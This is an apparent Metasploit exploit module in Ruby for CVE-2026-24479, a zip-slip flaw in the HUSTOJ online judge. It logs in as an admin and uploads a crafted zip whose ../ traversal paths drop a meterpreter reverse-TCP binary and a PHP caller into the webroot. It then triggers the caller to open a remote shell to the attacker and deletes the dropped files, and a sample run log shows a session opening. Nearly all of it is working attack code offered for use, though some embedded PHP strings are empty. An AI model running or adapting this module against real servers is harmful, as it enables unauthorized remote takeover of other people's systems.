# Exploit Title: HUSTOJ Zip-Slip v26.01.24 - RCE # Date: 2026-02-14 # Exploit Author: Marshall Whittaker / oxagast # Vendor Homepage: https://github.com/zhblue/hustoj # Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso (LiveCD, or see above git repo) # Version: Before v26.01.24 # Tested on: Ubuntu # CVE: CVE-2026-24479 # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## # This payload is configured for: # msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf # # Patch: # $file_name = $path.zip_entry_name($dir_resource); # $file_name=str_replace('../', '', $file_name); # $file_path = substr($file_name,0,strrpos($file_name, "/")); # # msf exploit(local/test/hustoj_problem_import_rce) > exploit # [*] Started reverse TCP handler on 10.0.1.35:4444 # [*] Running automatic check ("set AutoCheck false" to disable) # [+] The target is vulnerable. # [+] Payload generated! # [*] Random payload tag is: 886b0 ... # [+] Zip file generated! # [+] Connected to the target webserver! # [+] Logged in successfully! # [*] Checking if this account has administrative privileges... # [+] This is an admin account! # [*] Uploading the payload... # [+] Accessed the problem import page! # [+] Payload uploaded!... # [*] Waiting on files to be extracted serverside... # [*] This is where the zipslip happens... # [*] Triggering the php script... # [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500 # [*] Cleaning up the payload caller and shell files... # [+] Boom!! Have fun! # # meterpreter > # # require 'msf/core' require 'nokogiri' require 'digest/md5' # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479) class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super(update_info(info, 'Name' => 'Authenticated admin can upload crafted zip file for RCE', 'Description' => <<~DESC, A user with administrative privileges can abuse the problem_import_qduoj.php CGI script using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the webroot, where they can extract a PHP file containing a shell to get full RCE in the context of the webserver. DESC 'Author' => [ 'Marshall Whittaker', 'LoTuS and friends', 'ling101w' ], 'License' => MSF_LICENSE, 'ARCH' => [ARCH_X86], 'References' => [ ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \ '/CVE-2026-24479/hustoj_problem_import_rce.rb'], ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \ '6899314b33101f'], ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'], ['CVE', '2026-24479'], ['CWE', '22'] ], 'Platform' => 'linux', 'Targets' => [ [ 'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)', { 'Privileged' => false } ] ], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] }, 'DisclosureDate' => '2026-01-26', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), Opt::LPORT(4444), OptString.new('RHOST', [true, "The target machine's IP", '']), OptString.new('LHOST', [true, "This machine's IP", '']), OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']), OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']), OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']), OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]), OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6]) ], self.class ) register_advanced_options([ OptBool.new('HANDLER', [true, 'Start an exploit/multi/handler job to receive the connection', true]) ]) deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL') end # Check if the target is likely vulnerable def check res = send_request_cgi( 'uri' => '/include/reinfo.js', 'method' => 'GET', 'ctype' => 'application/javascript' ) return Exploit::CheckCode::Unknown if res.nil? return Exploit::CheckCode::Appears if res.code != 200 return Exploit::CheckCode::Detected if res.code == 200 && res.body.include?('function escapeHtml(str) {') return Exploit::CheckCode::Vulnerable if res.code == 200 && !res.body.include?('function escapeHtml(str) {') Exploit::CheckCode::Safe end # Authenticate as admin and return session cookies def login(user, pass) res = send_request_cgi( { 'uri' => '/', 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' }, 3 ) if res && res.code == 200 print_good("Connected to the target webserver! #{datastore['RHOST']}:#{datastore['RPORT']}") else fail_with( Failure::Unreachable, 'Failed to connect to the target webserver!' ) end cook = res.get_cookies send_request_cgi( 'uri' => '/csrf.php', 'cookies' => cook, 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) send_request_cgi( 'uri' => '/loginpage.php', 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) res = send_request_cgi( 'uri' => '/csrf.php', 'cookies' => cook, 'method' => 'GET', 'keep_cookies' => true, 'ctype' => 'text/html' ) doc = Nokogiri::HTML(res.body) csrf = doc.css('input[name="csrf"]').first['value'] send_request_cgi( 'method' => 'POST', 'uri' => '/login.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'user_id' => user, 'password' => Digest::MD5.hexdigest(pass), 'csrf' => csrf } ) # Check if login was successful res = send_request_cgi( 'method' => 'GET', 'uri' => '/modifypage.php', 'cookies' => cook, 'keep_cookies' => true ) if res && res.code == 200 && res.body.include?('userinfo.php') stars = '*' * pass.length print_good("Logged in successfully! #{user}:#{stars}") else fail_with( Failure::BadConfig, 'Failed to authenticate! Check credentials.' ) end # Check if the account has admin privileges res = send_request_cgi( 'method' => 'GET', 'uri' => '/admin/menu2.php', 'cookies' => cook, 'keep_cookies' => true ) if res && res.code == 200 && res.body.include?('problem_import.php') print_good('This is an admin account! res.body includes problem_import.php') else print_error('This does not appear to be an admin account! Attempting to continue,') print_error(' but the exploit may fail at the payload upload stage...') end cook end # Upload the malicious zip payload using the admin session def upload_payload(zip_dat, rand_tag, cook, dds) zip_size_kb = (zip_dat.length / 1024.0).round(2) print_status("Uploading the payload... #{zip_size_kb}kb") # Access the problem import page to get the postkey res = send_request_cgi( 'method' => 'GET', 'cookies' => cook, 'uri' => '/admin/problem_import.php', 'keep_cookies' => true, 'ctype' => 'text/html' ) if res && res.code == 200 && res.body.include?('problem_import_qduoj.php') print_good('Accessed the problem import page! /admin/problem_import.php') else fail_with( Failure::UnexpectedReply, 'Failed to access the problem import page!' ) end doc = Nokogiri::HTML(res.body) postkey_input = doc.at_css('input[name="postkey"]') postkey = postkey_input ? postkey_input['value'] : nil fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty? form_boundary = "----WebKitFormBoundary#{rand_tag}" form_data = <<~FORMDATA --#{form_boundary} Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip" Content-Type: application/zip #{zip_dat} --#{form_boundary} Content-Disposition: form-data; name=postkey #{postkey} --#{form_boundary}-- FORMDATA res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_boundary}", 'data' => form_data ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['dropfile']}.zip") else print_error('Failed to upload the payload, trying again for a different revision...') form_data = <<~FORMDATA --#{form_boundary} Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip" Content-Type: application/zip #{zip_dat} --#{form_boundary} FORMDATA res = send_request_cgi( 'method' => 'POST', 'uri' => '/admin/problem_import_qduoj.php', 'cookies' => cook, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{form_boundary}", 'data' => form_data ) if res && res.code == 200 print_good("Payload uploaded! #{datastore['dropfile']}.zip") else fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!') end end print_status("This is where the zipslip happens... #{dds} (levels: #{datastore['traverse_limit']})") end # Trigger the uploaded PHP shell to execute the payload def trigger_sploit(rand_tag) print_status("Triggering the php script... #{datastore['dropfile']}-#{rand_tag}.php") send_request_raw( { 'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php", 'ctype' => 'text/html', 'method' => 'GET' }, datastore['TRIGGER_WAIT'] ) end # Clean up dropped files after exploitation def cleanup super send_request_raw( { 'uri' => '/cleanup-msf.php', 'ctype' => 'text/html', 'method' => 'GET' } ) print_status('Cleaning up the payload caller and shell files...') print_good('Boom!! Have fun!') unless framework.sessions.length.zero? end # Main exploit logic def exploit # Generate the payload ELF binary pay = framework.modules.create(datastore['payload']) pay.datastore['LHOST'] = datastore['LHOST'] pay.datastore['RHOST'] = datastore['RHOST'] pay.datastore['LPORT'] = datastore['LPORT'] shell_gend = pay.generate_simple({ 'Format' => 'elf' }) if shell_gend == '' fail_with( Failure::PayloadFailed, 'Payload generation failed! Try a different payload?' ) end print_good("Payload generated! #{datastore['payload']}") # Generate a random tag for file uniqueness rand_tag = '%05x' % rand(0xfffff + 1) print_status("Random payload tag #{rand_tag}") # PHP script to call the ELF payload shell_caller = "" # PHP script to clean up dropped files cleanup_caller = "" dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip # Files to include in the malicious zip (zipslip paths for traversal) files = [ { data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" }, { data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" }, { data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" }, { data: '{}', fname: 'problem_1010.json' }, { data: '', fname: 'problem_1010/1.in' }, { data: '', fname: 'problem_1010/1.out' } ] # Create the malicious zip archive zip_dat = Msf::Util::EXE.to_zip(files) fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty? print_good("Zip file generated! Files: #{files.length}") # Authenticate and upload the payload cookies = login(datastore['USERNAME'], datastore['PASSWORD']) upload_payload(zip_dat, rand_tag, cookies, dds) # Trigger the PHP shell to execute the payload trigger_sploit(rand_tag) end end